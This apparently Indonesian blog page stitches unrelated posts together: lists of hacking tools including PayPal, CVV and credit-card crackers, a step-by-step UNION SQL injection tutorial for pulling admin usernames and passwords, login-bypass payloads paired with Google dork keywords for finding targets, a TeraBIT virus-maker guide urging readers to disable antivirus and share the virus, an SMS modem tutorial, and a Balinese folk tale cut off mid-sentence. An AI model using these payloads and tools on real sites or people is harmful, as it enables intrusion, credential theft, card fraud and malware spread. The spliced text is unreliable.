Tool Hacking dan Cracking

Tool Untuk Hacking dan Cracking
Inilah berbabagai macam Tools – Software – Aplikasi yang digunakan para Hacker dan Cracker. tidak ada salahnya kita mencoba berbagai macam peralatan yang digunakan untuk hacking and cracking / cracker sebagai pengetahuan saja, dan ingat jangan sekali – kali gunakan tools ini untuk keperluan negatif. tapi itu terserah deah…pokoknya kalau ada apa -apa nya, saya tidak tanggung jawab..:p. Resiko ditanggung masing – masing.
  1. Email Password Hacking (Kegunaan untuk hack email)
  2. Paypal Hack (Untuk hack paypal)
  3. Paypal Data Base Hack (Untuk hack database paypal seperti password email account dan lain – lain)
  4. Multi Clicker (Hack PTC seperti autoclicker jadi tidak usah repot – repot klik iklan  disana terdapat 50 situs PTC lebih)
  5. Gmail Password Recovery
  6. Autoclicker (Untuk hack PTC, bisa dipakai di PTC manapun
  7. Webmailhack2.4 (Crack password email)
  8. Rapidhack (Untuk hack rapidshare / account rapidshare)
  9. Serialgrabber (Mengambil serial apapun, baik itu game maupun software
  10. CrackCVV (Untuk crack CVV di credit card CVV adalah tiga angka yang ada dibelakang credit card
  11. CVVgenerator (Untuk mengambil card CVV di credit manapun)
  12. Cartevisa (Disana terdapat nomor credit card beserta informasinya)
  13. Googlehack (Untuk hack google, contohnya kamu bisa menyuruh google untuk mendapatkan password, kode pin)
  14. Cracking facebook (Untuk crack account facebook baik email maupun password)
  15. Use Next Account Generator v 1.2 (untuk hack account usenex, biasanya digunakan untuk mendownload software full version atau crack
  16. Email Bomber (Untuk mengirim email tanpa login dulu ke yahoo, gmail)
  17. Rar Password Recovery v1.1 RC 17 Final Serial (Untuk menjebol file winrar yang di password)
  18. Voucher Generator (Untuk hack pulsa tanpa batas)
  19. Brutus-aet (Menjebol password apapun)
  20. Neo Bux Hacker (Untuk hack neobux)
  21. Password Fox 9 (Untuk melihat password yang tersimpan di Firefox)
Nah kurang lebihnya seperti itu tools yang digunakan oleh para hacker dan cracker, diatas hanya sebagian saja, dan masih banyak lagi yang tidak bisa saya sebutkan satu persatu dalam postingan ini.

Pengertian, Tutorial & Tools SQL Injection

Injeksi SQL atau SQL Injection memiliki makna dan arti yaitu sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain. (Wikipedia)

SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.

SQL injection exploits dan sejenisnya adalah hasil interfacing sebuah bahasa lewat informasi melalui bahasa lain . Dalam hal SQL injection, sebuah bahasa pemrograman seperti PHP atau Perl mengakses database melalui SQL query. Jika data yang diterima dari pengguna akhir yang dikirim langsung ke database dan tidak disaring dengan benar, maka yang penyerang dapat menyisipkan perintah SQL nya sebagai bagian dari input. (de-kill.blogspot)

Untuk mempermudah dalam praktek SQL Injection ini, maka bisa menggunakan tools berikut:

1. BSQL Hacker

Dikembangkan oleh Portcullis Labs, BSQL Hacker adalah SQL injection yang di rancang untuk mengeksplor hampir seluruh jenis data base

 

2. The Mole


Mole adalah tool open source, Mole dapat melewati beberapa sistem IPS / IDS yang menggunakan filter generik, mole dapat meng eksplor hanya dengan menggunak URL yang rentan dan string valid.

 

3. Pangolin

Diproduksi oleh perusahaan yang sama yang membuat JSky, NOSEC, Pangolin adalah tool injeksi SQL secara menyeluruh pada web dengan user-friendly GUI dan support hampir untuk selur data base.

 

4. SQLMap

SQLMap adalah tool open source yang di jalankan menggunakan command dan support untuk data baseMySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.

 

5. Havij

Tool ini sudah sangat terkenal di gunakan oleh para peretas di seluruh dunia, Havij di kembangkan oleh programer iran dengan GUI yang sederhana meng injek SQL menggunakan harvij kemungkinan berhasil adalah 95 persen dan masih banyak lagi kelebihan havij.

 

6. Enema SQLi

Berbeda dengan kebanyakan tool-tool injek yang di buat otomatis, enema bukanlah tool otomatis, enam tool yang di namis yang memang di rancang untuk profesional.

 

7. SQL Ninja

Sql Ninja di kembangkan oleh icesurfer tool yang di rancang untuk targen server SQL, data base fingerprint, dan semu kemampuan untuk mengendalikan database yang rentan injek.

 

8. SQL Sus

Sql Sus merupakan tool open source antar mukanya berbasis perintah, anda dapat mengambil data base, mendownload file dari data base server dan masih banya lagi.

 

9. Safe SQL Injector

Safe SQL Injector terkenal dengan kemudahan penggunaannya Safe3 SI menawarkan serangkaian fitur yang memungkinkan deteksi otomatis dan eksploitasi kelemahan SQL injection dan pengambilalihan database server.

 

10. SQL Poizon

SQL Poizon memanfaatkan mesin pencarian Dork untuk menjaring situs-situs yang rentan untuk di injek. Sql Poizon memiliki browser yang telah terintegrasi di dalamnya.

 

MANUAL TUTORIAL SQL INJECTION

Pengertian SQL Injection, SQL Injection adalah sebuah aksi hacking yang dilakukan diaplikasi client dengan cara memodifikasi perintah SQL yang ada dimemori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu diketahui sebelum melakukan SQL Injection pada MySQL:
karakter: ‘ atau –
comments: /* atau –
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x

[ Langkah 1 ]

  • Carilah target
    Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
    contoh:
    [site]/berita.php?id=100′ atau
    [site]/berita.php?id=-100
    Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]

[ Langkah 2 ]

  • Mencari dan menghitung jumlah table yang ada dalam databasenya…
    gunakan perintah: order byContoh:[site]/berita.php?id=-100+order+by+1– atau
    [site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah by Langkah (satupersatu)…
    Misal:[site]/berita.php?id=-100+order+by+1–
    [site]/berita.php?id=-100+order+by+2–
    [site]/berita.php?id=-100+order+by+3–
    [site]/berita.php?id=-100+order+by+4–Sehingga muncul error atau hilang pesan error…
    Misal: [site]/berita.php?id=-100+order+by+9– 

    Berarti yang kita ambil adalah sampai angka 8
    Menjadi [site]/berita.php?id=-100+order+by+8–

[ Langkah 3 ]

  • untuk mengeluarkan angka berapa yang muncul gunakan perintah union
    karena tadi error sampai angka 9
    maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok seumpama yg keluar angka 5gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
    misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
    [site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–Lihat versi yang digunakan se’umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..

[ Langkah 4 ]

  • Untuk menampilkan table yang ada pada web tersebut adalah
    perintah table_name >>> dimasukan pada angka yangg keluar tadi
    perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhirCode:[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–Se’umpama table yang muncul adalah “admin”

[ Langkah 5 ]

  • untuk menampilkan semua isi dari table tersebut adalah
    perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
    perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema. tables+where+table_schema=database()–

[ Langkah 6 ]

  • Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
    perintah +from+information_schema.columns+where+table_name=0xhexa– >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0xhexa–Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
    Website yg digunakan untuk konversi :http://www.v3n0m.net/ascii.htmContoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0x61646D696E–

[ Langkah 7 ]

  • Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan caraperintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
    perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhirContoh :[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–Contoh kata yang keluar adalah id,username,passwordContoh : 

    [site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–

[ Langkah 8 ]

  • Tahap terakhir mencari halaman admin atau login.

Source HN Forum

SQL Injection adalah salah satu teknik yang sering di gunakan untuk menyerang sebuah situs web. dengan cara ini memungkinkan seseorang dapat login tanpa harus memiliki akun di sebuah web site Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database bahkan pula dapat mematikannya.

Contoh Sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username

Penanganan SQL Injection 
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” . 
“where email = ‘$Email’ and password = ‘$Password’”; 
$hasil = mySQL_query($query, $id_mySQL); 
while($row = mySQL_fetch_row($hasil))

$Id = $row[0]; 
$name = $row[1]; 
$email = $row[2]; 
$password = $row[3]; 
$type = $row[4]; 
$block = $row[5]; 

if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”; 
exit(); 

else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :

Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from user”. 
“where email = ‘$Email’”; 
$hasil = mySQL_query($query, $id_mySQL); 
while($row = mySQL_fetch_row($hasil))

$Id = $row[0]; 
$name = $row[1]; 
$email = $row[2]; 
$password = $row[3]; 
$type = $row[4]; 
$block = $row[5]; 

if(strcmp($block, ‘yes’) == 0)

echo “<script>alert(‘Your account has been blocked’); 
document.location.href=’index.php’;</script>\n”; 
exit(); 

$pass = md5($Password); 
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));


2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :

3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :

Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”

validatepassword = true
for i = 1 to len( input )

c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}

3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a’=’a
Password : ` or `a’=’a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a’=’a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ; 
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.

 

source : binus

Membuat Virus Menggunakan TeraBIT

Siapa bilang membuat virus itu susah ?

Sekarang anda bisa membuat virus dari yang paling simple sampe Trojan yang dapat merusak sistem.

Oke, sekarang saya akan beri penjelasannya dulu

Terabit Virus Maker 3.2

1. Informasi Software:

  • Software ini dibuat oleh orang Iran. berita tersebut juga belum pasti kebenarannya, tetapi saya mencoba search di google.com dan saya mendapat info yang menyebutkan bahwa software TeraBit Virus Maker adalah asli buatan Iran, dan itu pun dalam versi 3.1 . Dalam versi 3.1 sampai yang sebelumnya, software ini belum support untuk Windows 7, hanya support pada Sistem Operasi sebelum Windows 7, seperti: Windows XP,Vista. Disini saya memiliki Software TeraBit Virus Maker versi 3.2 yang telah support dengan Windows 7.

2. Fungsi Software:

  • Software ini berfungsi untuk membuat virus secara instan dengan kemampuan yang bisa kita pilih sendiri sehingga user dapat menggunakannya dengan mudah dan cepat. Di dalam software tersebut telah disediakan fitur-fitur yang bisa kita gunakan dalam pembuatan virus, ada 54 fitur yang bisa kita gunakan, saya hanya akan menyebutkan 15 fitur saja dan untuk fitur yang lain bisa dilihat di gambar. 15 fitur itu adalah:

1. Avoid Opening Calculator

2. Avoid Opening Copy,Move Window

3. Avoid Opening Gpedit

4. Avoid Opening Media Player

5. Avoid Opening Mozzila Firefox

6. Avoid Opening MsConfig

7. Avoid Opening Notepad

8. Avoid Opening Wordpad

9. Avoid Opening Yahoo Messenger

10. Add 30 User Accounts to Windows

11. Always Clean Clipboard

12. Always Log Off

13. Close Internet Explorer Every 10 sec

14. Delete All Files In Desktop

15. Delete All Files In My Documents

File virus ini ber-ekstensi *.exe . Jadi, ketika file virus ini dieksekusi, maka fitur-fitur yang telah ditambahkan, akan berjalan dan mengubah pengaturan system computer anda sesuai dengan fitur yang anda pilih.

Dan ada item-item yang bisa digunakan untuk melengkapi kesempurnaan dari virus yang anda buat, seperti:

  • Binder berfungsi untuk mengeksekusi/menjalankan file yang kita kaitkan dengan virus yang anda buat, file yang bisa dikaitkan bisa dalam format apa saja, sperti file gambar, file word, exel, powerpoint, music, notepad, dan lain-lain.
  • Fake Error Message berfungsi untuk memunculkan pesan palsu yang kita buat sendiri, dan sub-itemnya ada title, message, dan type. Title isi judul pesan, Message isi dengan pesan kalian sendiri, dan type, pilih tipe yang anda inginkan.
  • Run Custom Command (ini belum saya coba sebelumnya)
  • Add [ ] fake KB(s) to virus berfungsi untuk menambahkan kapasitas palsu ke dalam file virus tersebut.
  • File name after install adalah file yang sebenarnya berjalan, saat file palsu tersebut dieksekusi, disana terdapat tipe/ekstensi *.exe yang bisa digunakan.
  • File Icon adalah item yang digunakan untuk memilih icon file virus tersebut.
  • File Name adalah item yang digunakan untuk memberi nama pada file tersebut.
  • Run Virus with Windows adalah item yang berfungsi untuk menjalankan file pada windows.
  • [R] adalah tombol reset, untuk mereset ulang pengaturan yang telah dipilih ke pengaturan defaultnya
  • Create Virus berfungsi untuk membuat file virus yang telah kita rancang sebelumnya.

3. Cara Menggunakan Software:

  1. Install deepfreeze untuk menjaga agar komputer anda aman.
  2. Disable Antivirus anda, karena software ini dianggap sebagai virus oleh antivirus.
  3. Jalankan Software tVirusMaker.exe
  4. Pilih/ceklist fitur-fitur yang telah disediakan dan pilih item-item yang akan digunakan.
  5. Terakhir anda klik Create Virus dan simpan ke direktori anda.
  6. File virus siap dijalankan. (*dan bagi-bagi ke teman-teman anda, ‘hahahah…hanya saran’*)

4. Silahkan cari sendiri softwarenya ya:)

 

*disini saya hanya mencoba berbagi, resiko ditanggung sendiri

 

source : binus

HyperTerminal: Mengirim & Menerima SM

Pada kesempatan ini akan saya berikan sedikit contoh bagaimana mengirim dan menerima sms menggunakan hyperterminal melalui modem GSM serial. Seperti kita sudah ketahui, bahwa program bawaan Windows® adalah sebuah program yang sangat familiar bagi orang yang hobby ataupun seorang teknisi yang sering berhubungan dengan interfacing. Hyperterminal merupakan software yang universal dan mudah penggunaannya.

Dengan menggunakan hyperterminal kita bisa mengatur setting serial port sesuai dengan hardware yang akan kita gunakan. Seperti seting baud rate, stop bit, parity, data bit, dan flow control.

 

Bagaimanakah cara membuat sebuah koneksi interface dengan hyperterminal? Berikut langkah-langkah yang bisa dilakukan:

1. Buka Hyperterminal

 

2. Selanjutnya akan muncul dialog box berikut, pilih Cancel

 

 

3.       Kemudian pilih Yes

 

 

4.      Pilih OK

 

 

5.       Pada Connection Description berikut, berilah nama SMS

 

 

6.       Kemudian pilihlah Serial Port yang akan digunakan dengan memilih dari combo box Connect using. Kemudian klik

            OK.

 

 

7.       Selanjutnya kita tentukan Port setting seperti berikut. Kemudian pilih OK

 

 

8.       Tampilan dibawah ini adalah workspace hyperterminal yang akan kita gunakan untuk berkomunikasi dengan modem

 

 

Untuk melakukan komunikasi dengan modem GSM serial, kita menggunakan AT+Command. AT+Command adalah kumpulan perintah yang diawali dengan AT untuk berkomunikasi dengan modem. Modem yang saya gunakan adalah Wavecom® Fastrack yang murah dan mudah dibeli. Modem yang saya gunakan memiliki sekumpulan AT+Command yang terangkum pada panduan yang dapat dilihat disini. Pada dasarnya modem yang dapat digunakan adalah modem yang support dengan AT+Command, walaupun pada beberapa merk modem mungkin memiliki beberapa perintah yang berbeda tergantung dari vendor pembuatnya.

 

Selanjutnya saya akan mencoba mengakses modem dengan perintah AT+Command. Diantaranya, informasi yang dapat saya ambil adalah: Manufacturer identification, Request model identification, Request revision identification, Product Serial Number, Request IMSI, Card Identification, Capabilities list, dan lain-lain. Lebih lengkapnya dapat dilihat pada wavecom command.

 

Saya akan mendapatkan informasi diatas dari modem yang saya gunakan.

 

  • Manufacturer identification

Pada hyperterminal ketik AT+CGMI kemudian diikuti Enter. Perintah ini akan memberikan identitas/nama pembuat modem GSM.

 

Hyperterminal –> Modem =    AT+CGMI =    Mendapatkan nama pembuat

Modem à Hyperteminal =    WAVECOM MODEMOK =    Perintah valid, Wavecom modem

 

  • Request model identification

Pada hyperterminal ketik AT+CGMM kemudian diikuti Enter. Perintah ini akan mendapatkan band (GSM 900, DCS 1800 atau PCS 1900) yang support dengan modem yang digunakan. Jawaban dari modem dapat kombinsi dari ketiganya.

 

Hyperterminal –> Modem =    AT+CGMM =    Mendapatkan versi hardware

Modem à Hyperteminal =    MULTIBAND 900E 1800OK

 

  • Request revision identification

Pada hyperterminal ketik AT+CGMR kemudian diikuti Enter. Perintah ini akan mendapatkan versi software.

 

Hyperterminal à Modem =    AT+CGMR =    Mendapatkan versi software

Modem à Hyperteminal =    641b09gg.Q2403A 1320676 061804 14:38OK

 

  • Product Serial Number

Pada hyperterminal ketik AT+CGSN kemudian diikuti Enter. Perintah ini akan mendapatkan IMEI dari modem yang digunakan.

 

Hyperterminal –> Modem =    AT+CGSN =    Mendapatkan IMEI

Modem à Hyperteminal =    352129002454434OK =    IMEI yang ada di EEPROM

Hyperterminal à Modem =    AT+CGSN =    Meminta IMEI

Modem à Hyperteminal =    +CME ERROR: 22 =    IMEI tidak ditemukan di EEPROM

 

Dan untuk informasi lainnya dapat merujuk pada AT+Command yang ada.

 

Selanjutnya kita akan mencoba menggunakan hyperterminal untuk mengirim dan menerima SMS melalui Modem GSM serial. Perintah-perintah yang digunakan adalah: AT+CMGF, AT+CSCA, AT+CMGS, AT+CNMI, AT+CMGR, AT+CMGD.

 

Mengirim SMS

 

Tes koneksi hyperterminal dengan Modem GSM menggunakan perintah AT diikuti Enter. Jika koneksi terhubung maka  akan muncul OK. Selanjutnya kita ketik berikut:

 

AT                                 balasan “OK” jika modem berfungsi

 

AT+CMGF=1                 mengatur mode Teks

 

AT+CSCA= ”+XXXX”   nomer SMS Center, tergantung SIM Card yang digunakan

 

Untuk mengirim pesan:

 

AT+CMGS= ”+NNNN” <Enter>                 nomer handphone yang akan dituju

 

Pesan_yang_akan_kita_kirim <Ctrl+Z>

 

 

Menerima SMS

 

Kemudian bagaimanakan jika kita ingin menerima pesan?  Modem GSM dapat disetting dengan dua cara, pertama Immediate, dan kedua Notification. Berikut langkah yang dapat dilakukan.

 

Tes koneksi hyperterminal dengan Modem GSM menggunakan perintah AT diikuti Enter. Jika koneksi terhubung maka  akan muncul OK. Selanjutnya kita ketik berikut:

 

a.       Immediate, ketika kita ingin hyperterminal menerima pesan yang masuk secara detil. GSM modem akan langsung mengirim pesan ke komputer dengan perintah +CMT.

 

AT+CMGF=1

 

AT+CNMI=1,2,0,0,0              mengatur agar modem mengirim pesan ke computer saat diterima

 

Saat pesan diterima, maka computer akan menerima

 

+CMT: “+nnnn”,,”10/12/06,06:04:10+28”

 

Pesan_balasan_dari_handphone

 

 

Computer akan memantau port serial secara kontinyu dan menampilkan pesan jika telah diterima.

 

b.       Notification, ketika pesan diterima, maka GSM akan mengirim notifikasi ke computer menggunakan perintah +CMTI diikuti nomer memori pesan tersimpan.

 

AT+CMGF=1

 

AT+CNMI=1,1,0,0,0

 

mengatur agar modem mengirim notifikasi  ke computer saat diterima

 

Saat pesan diterima, maka computer akan menerima

 

+CMTI: “SM”,9             pesan tersimpan pada memori nomer 9

 

 

Ketik AT+CMGR=9                    untuk membaca pesan dari memori nomer 9

 

 

Balasan dari modem:

 

+CMGR: “REC UNREAD”,”+nnnnn”,”10/12/06,06:13:06+28”

 

Pesan_balasan

 

OK

 

Kemudian ketik AT+CMGD=9             menghapus pesan pada nomer memori 9

 

 

Demikian langkah-langkah untuk mengirim dan menerima sms menggunakan hyperterminal. Pada dasarnya untuk mengirim dan menerima SMS dapat menggunakan program-program yang lain, misalnya: Visual Basic 6.0, Visual Basic .NET, C++, Delphi atau pun yang lainnya dengan prinsip yang sama.

 

SMS dapat digunakan untuk pengukuran jarak jauh (telemetri), pengendalian jarak jauh (telecommand), SMS gateway, dan lainnya.

 

source : binus

Cupak Grantang

Ada katuturang satua, I Cupak teken I Grantang. Menyama ajaka dadua. I Cupak ane kelihan, I Grantang ane cerikan. Goba lan parilaksanan kaka adi punika doh pesan matiosan. I Cupak gobane bocok, kumis jempe, kales, brenges, lan bok barak keke alah duk. Basang gede madaar kereng pesan. Nanging joh bina ajaka adine I Grantang. I Grantang pengadegne lanjar, goba alep bagus, asing-asing anake ngantenang makejang ngedotang. Kemikane manis tur anteng magarapan. Kacarita sedek dina anu, i Cupak ajak I Grantang matekap di carike, I Grantang matekap nututin sampi, nanging i Cupak satate maplalianan dogen gaene. Tusing pesan I Cupak ngrunguang adine magae. Disubane I Grantang suud matekap mara I Cupak teka uli maplalianan. Yadiastun keto bikas beline masih luung penampene I Grantang. I Grantang ngomong munyine alus tur nyunyur manis. “Kemu beli malunan mulih tiang lakar manjus abedik. “I cupak masaut gangsar,”Lamun keto kola lakar malunan mulih, adi. I Cupak laut majalan mulih. Disubane joh liwat uli sig I Grantange manjus, ditu lantas I Cupak makipu di endute kanti awakne uyak endut. Disubane keto, I Cupak nutugang majalan ngamulihan saha jlempah jlempoh. Kacarita ane jani i Cupak suba neked diwangan umahe, ditu laut I Cupak gelur-gelur ngeling. Meme bapane tengkejut ningehin eling panakne tur nyagjag laut nakonin,”Cening-cening bagus Wayan Cupak anake buka cening ngudiang cening padidi mulih buine blolotan, men adin ceninge I Made Grantang dija?” Disubane keto petakon reramane, laut masaut i Cupak sambilange ngeling. “Kene ento bapa lan meme Kola anak uli semengan metekap dicarike I Grantang anak meplalianan melali dogen uli semengan, buine ia ento ngenemin anak luh-luh dogen gaene”. Mara monto pesadune I Cupak bapane suba brangti teken I Grantang. Suud keto laut bapane ngrumrum I Cupak. “Nah, mendep dewa mendep, buin ajahan lamun teka I Grantang lakar tigtig bapa, lakar tundung bapa uli jumah. “Lega pesan kenehne I Cupak ningeh bapane pedih teken I Grantang. Apang tusing ketara dayane jele, I Cupak pesu ngaba siap lakar mabongbong. Ane jani kacaritayang I Grantang suba ngamulihang uli carik genah ipun magarapan. I Grantang majalan jlempah jlempoh kabatek baan kenyelne kaliwat. Tan kacaritayang malih kawentenang ipun ring margi, kancit sampun neked jumahne. Duk punika sahasa bapane teka nyag jag nyambak tur nigtig. Bapane ngomong bangras. Makaad cai makaad Grantang, nirguna bapa ngelah panak buka cai. Goba melah, solah jele, tur tuara demen nyemak gae, men nyak adung goba ajaka bikase? Dija cai maan ajah-ajahan keto? ” I Grantang ngeling sigsigan merasa teken dewek kena pisuna. Ngomong laut I Grantang, sakewala raosne pegat-pegat duaning sambilange ngeling. “Nah, Bapa yan suba keto keneh bapane, nundung anake buka tiang….uli jumah, tiang nerima pesan tresnan bapane ento. Dumadak-dumadik sepatilar tiang uli jumah bagia idup bapa miwah belin tiange I Cupak. Amonto I Grantang ngomong teken bapane laut majalan makaad uli jumah. Lampah laku pajalane I Grantang tur jlempah-jlempoh pejalane kabatek baan naanang basang seduk. Sakit saja kenehne I Grantang ningeh munyin bapane abuka keto. Disubane joh I Grantang liwat, teka lantas I Cupak turnakonang adine I Grantang. “Meme…Bapa…adin kolane dija? ” Mesaut laut bapane, “Adin I Dewane suba tigtig bapa tur suba tundung bapa uli jumah. Jani apang tawange rasan mayusne ento.” Mara keto pasaut bapane I Cupak ngeling gelur-gelur tur mamunyi : “Ngudiang ketang bapa adin kolane. Dadi tundung bapa adin kolane, dija jani alih kola adin kolane …anak kola …anak … anak kola ane mayus magae, ngudiang adin kolane tundung bapa?” Ningeh munyin I Cupake keto dadi engsek memen bapane, merasa teken dewek pelih. “Jani kola lakar ngalih adin kolane, lakar abang kola takilan!” Masepan-sepan memene ngaenang I Cupak takilan. Kacarita jani I Cupak ninggal umah ngalain memen bapane lakar ngruruh I Grantang. Gelur gelur I Cupak ngaukin adine Adi….adi….adi..Grantang … ene kola teka ngaba takilan ..Adi!” Cutetin satua, bakat bane ngetut adine, tepukina ditengah alase. Ditu lantas I Cupak ngidih pelih teken adine. Adi jalan mulih adi, ampurayang Beli adi, jalan adi mulih!” I Grantang mesaut alot, “kema suba Beli mulih padidi, depang tiang dini naenang sakit ati, diastun tampin tiang mati.Apa puaran tiange idup tusing demenin rerama. “Disubane buka keto pasaut adine laut nyawis nimbal natakin panes tis, suka duka ajak dadua. Jalan mareren malu adi, kola kenyel pesan nugtug adi uli jumah. Ene kola ngaba takilan, jalan gagah ajak dadua. “I Cupak lantas nunden adine ngalih yeh, “Kema adi ngalih yeh, kola nongosin takilane dini. “Nyrucut I Grantang ngalih yeh. Disubane I Grantang liwat joh, pesu dayane I Cupak lakar nelahang isin takilane. Sepan-sepan I Cupak ngagah takilane tur daara telahanga. Sesubane telah, kulit takilane besbesa tur kacakanga di tanahe. Nepukin unduke ento lantas I Cupak dundune teken I Grantang. I Cupak mani-mani kapupungan. “Aduh adi apa mesbes takilane ne? Bes makelo Adi ngalih yeh kanti takilane bakat kalain pules. Nah ne enu lad-ladne jalan gagah ajak dadua.”Disubane ada raosne I Cupak buka keto laut masaut I Grantang, “Nah daar suba beh, tiang tusing merasa seduk” I Cupak medaar padidiana, ngesop nasi nginem yeh, celekutang nitig tangkah, suud madaar I Cupak taagtaag nyiriang basang betek. Disubane I Cupak ajaka I Grantang maan mareren laut ngalanturang pejalane. Kacarita ane jani I Cupak lan I Grantang neked di Bencingah Puri Kediri. Di desane ento suung manginung, tusing ada anak majlawatang. Pejalane I Cupak ngetor kabatek baan jejehne, jani suba neked kone ia di jaba puri Kedirine, ditu I Cupak nepukin peken. Di pekene masih suung manginung tuah ada dagang nasi adiri buina mengkeb madagang. Ngatonang unduke buka keto, ditu laut I 